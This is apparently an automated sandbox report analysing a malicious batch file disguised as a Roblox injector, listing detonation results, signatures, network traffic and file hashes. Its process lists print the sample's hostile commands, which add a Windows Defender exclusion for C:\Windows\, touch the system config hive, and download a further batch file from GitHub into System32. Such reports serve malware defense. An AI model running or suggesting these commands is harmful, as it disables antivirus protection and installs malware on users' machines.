Malware Analysis Report

2024-12-07 15:13

Sample ID 241113-yxpv9a1rfl
Target Injector Roblox.bat
SHA256 c2dfd23c17090df4fb47af04959e666b00d3a24a2f2d31838fae99a5fbb9f458
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

c2dfd23c17090df4fb47af04959e666b00d3a24a2f2d31838fae99a5fbb9f458

Threat Level: Likely malicious

The file Injector Roblox.bat was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Command and Scripting Interpreter: PowerShell

Drops file in System32 directory

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 20:10

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 20:10

Reported

2024-11-13 20:10

Platform

win7-20241023-en

Max time kernel

15s

Max time network

17s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\Injector Roblox.bat"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\Injector Roblox.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -window hidden -command ""

C:\Windows\system32\cacls.exe

"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Add-MpPreference -ExclusionPath C:\Windows\

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-Webrequest 'https://github.com/nitromarket123/roblox/raw/refs/heads/main/roblox.bat' -OutFile C:\Windows\System32\roblox.bat"

Network

N/A

Files

memory/2532-4-0x000007FEF61CE000-0x000007FEF61CF000-memory.dmp

memory/2532-5-0x000000001B680000-0x000000001B962000-memory.dmp

memory/2532-7-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

memory/2532-9-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

memory/2532-8-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

memory/2532-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

memory/2532-10-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

memory/2532-11-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9A7871O114CAGR0CVNEW.temp

MD5 c4610fa9c5a52dfdf7f88220cae3a229
SHA1 9dd41a78a6e2dae4792bc60ad71d6bdb6463bbe2
SHA256 9c6076359b7621802d813af6b6a87acc2fed2f8cbe5324b6c44fcc425ea4613e
SHA512 e9b5baa40ab588e3db7812203a855c2b6300814a42d85c931fb2a6d63474a9a34c4c9d98cdb16b2bc18ec50b565b13bec0f0f76dba32cb9bf79a75163247c640

memory/2620-17-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

memory/2620-18-0x0000000001D80000-0x0000000001D88000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 20:10

Reported

2024-11-13 20:10

Platform

win10v2004-20241007-en

Max time kernel

12s

Max time network

13s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Injector Roblox.bat"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Injector Roblox.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -window hidden -command ""

C:\Windows\system32\cacls.exe

"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Add-MpPreference -ExclusionPath C:\Windows\

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-Webrequest 'https://github.com/nitromarket123/roblox/raw/refs/heads/main/roblox.bat' -OutFile C:\Windows\System32\roblox.bat"

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp

Files

memory/2876-0-0x00007FFAA2AA3000-0x00007FFAA2AA5000-memory.dmp

memory/2876-1-0x000001F97FFB0000-0x000001F97FFD2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yaghxume.hef.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2876-11-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

memory/2876-12-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

memory/2876-15-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

memory/3648-17-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

memory/3648-18-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

memory/3648-19-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

memory/3648-31-0x0000025832C50000-0x0000025832E6C000-memory.dmp

memory/3648-32-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 96ff1ee586a153b4e7ce8661cabc0442
SHA1 140d4ff1840cb40601489f3826954386af612136
SHA256 0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8
SHA512 3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569